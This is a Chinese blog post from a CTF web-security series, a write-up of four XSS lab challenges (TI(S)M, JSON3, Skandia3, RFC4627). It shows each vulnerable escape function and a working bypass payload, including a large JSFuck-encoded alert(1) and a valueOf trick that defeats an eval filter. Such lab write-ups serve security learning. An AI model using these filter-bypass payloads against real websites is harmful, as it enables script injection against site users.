iT邦幫忙

2021 iThome 鐵人賽

DAY 25
0
Security

【CTF衝衝衝 - Web篇】系列 第 25

【第二十五天 - XSS Lab(2)-3】

  1. TI(S)M

    • 題目:

      function escape(s) {
        function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
        function html(s) { return s.replace(/[<>"&]/g, function(s) {
                              return '&#' + s.charCodeAt(0) + ';'; }); }
      
        return (
          '<script>' +
            'var url = ' + json(s) + '; // We\'ll use this later ' +
          '</script>\n\n' +
          '  <!-- for debugging -->\n' +
          '  URL: ' + html(s) + '\n\n' +
          '<!-- then suddenly -->\n' +
          '<script>\n' +
          '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
          '  else new Image().src = url;\n' +
          '</script>'
        );
      }
      
      • 本題會對輸入值 s 進行兩種不同的處理,接著分別放到輸出的兩個位置。
        • json(s) 會回傳轉為 JSON 格式的字串,並將 / 跳脫為 \/
        • html(s) 會將 <>"& 跳脫為 HTML Entity 的格式。
    • ANS:

      • if(alert(1)/*<!--<script>
  2. JSON3

    • 題目:

      function escape(s) {
        return s.split('#').map(function(v) {
            // Only 20% of slashes are end tags; save 1.2% of total
            // bytes by only escaping those.
            var json = JSON.stringify(v).replace(/<\//g, '<\\/');
            return '<script>console.log('+json+')</script>';
            }).join('');
      }
      
      • 本題會將輸入依據 # 切段,接著將每一段進行處理,最後重新接起來。
      • 中間的處理過程如下:
        1. 將輸入值轉為 JSON 字串
        2. 將字串中的 >/ 跳脫為 <\/
        3. 將字串放入 console.log
    • ANS:

      • <!--<script>#)/;alert(1)//-->
  3. Skandia3

    • 題目:
    function escape(s) {
      if (/[\\<>]/.test(s)) return '-';
    
      return '<script>console.log("' + s.toUpperCase() + '")</script>';
    }
    
    • 遇到 <>\ 字元就只會回傳 - ,並且將所有字轉成大寫

    • 所以目標就是閉合原本的 function,並且塞入 alert(1);
      https://ithelp.ithome.com.tw/upload/images/20211009/20140592hYorvSoux4.png

      • 直接寫 alert(1),經過轉大寫,ALERT(1) 是不起作用的,我們使用其他方式生成 JS 程式
        • jjencode 使用 十八個字元 可組成所有 JS 程式
          • []()!+,\"$.:;_{}~=
        • JSFuck 使用 六個字元,可以組成所有 JS 程式 (解題繞過一些字元檢查,時常使用)
          • []()!+
        • 參考資料:https://zh.wikipedia.org/wiki/JSFuck
    • ANS:

      • ");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//
      • ");[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](+[![]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])[!+[]+!+[]+[+!+[]]])("
  4. RFC4627

    • 題目:

      function escape(text) {
        var i = 0;
        window.the_easy_but_expensive_way_out = function() { alert(i++) };
      
      // "A JSON text can be safely passed into JavaScript's eval() function
      // (which compiles and executes a string) if all the characters not
      // enclosed in strings are in the set of characters that form JSON
      // tokens."
      
        if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
                text.replace(/"(\\.|[^"\\])*"/g, '')))) {
          try { 
            var val = eval('(' + text + ')');
            console.log('' + val);
          } catch (_) {
            console.log('Crashed: '+_);
          }
        } else {
          console.log('Rejected.');
        }
      }
      
      • 本題刻意製造了 global function the_easy_but_expensive_way_out ,可以幫助我們執行 alert
      • 輸入值 text 會先經過以下驗證,才能進入 eval
        • 首先,找出所有字串 "...." ,將其刪除
        • 刪除後所剩的字詞,必須只由這些字元組成: ,:{}[]0 ~ 9.-+Eaefln、 r ~ u、\n\r\t
      • 通過驗證後, text 前後會被加上 ( ) ,接著丟入 eval
    • 解題:

      • 首先需要明白三個特性
        1. 若多個 expression 一口氣執行,直譯器會回傳最後的 expression。例如 1; 2; 會回傳 2、a = (1, 2) 會使得 a2
        2. 一個物件被運算時,會使用 method valueOf 來取得運算值
        3. 沒有在 object 的 scope 中呼叫的 self,預設為 window
      • 根據特性 2 ,我們可以構建一個 Object,將其 valueOf 設為 the_easy_but_expensive_way_out ,接著該 object 只要被運算兩次,即可達成 alert(1) (因為 i++i 初始值為 0)。
        • self 正好可以通過本題的過濾條件,用特性 2 構建 Object {"valueOf":self["the_easy_but_expensive_way_out"]} 即可順利通過。
    • ANS

      • 直接在 eval 中運算兩次(利用 + )

        {"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}+0
        
      • 或者根據特性 1,可以把第二次運算留給後面的 console.log

        {"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
        

上一篇
【第二十四天 - XSS Lab(2)-2】
下一篇
【第二十六天 - XSS Lab(2)-4】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言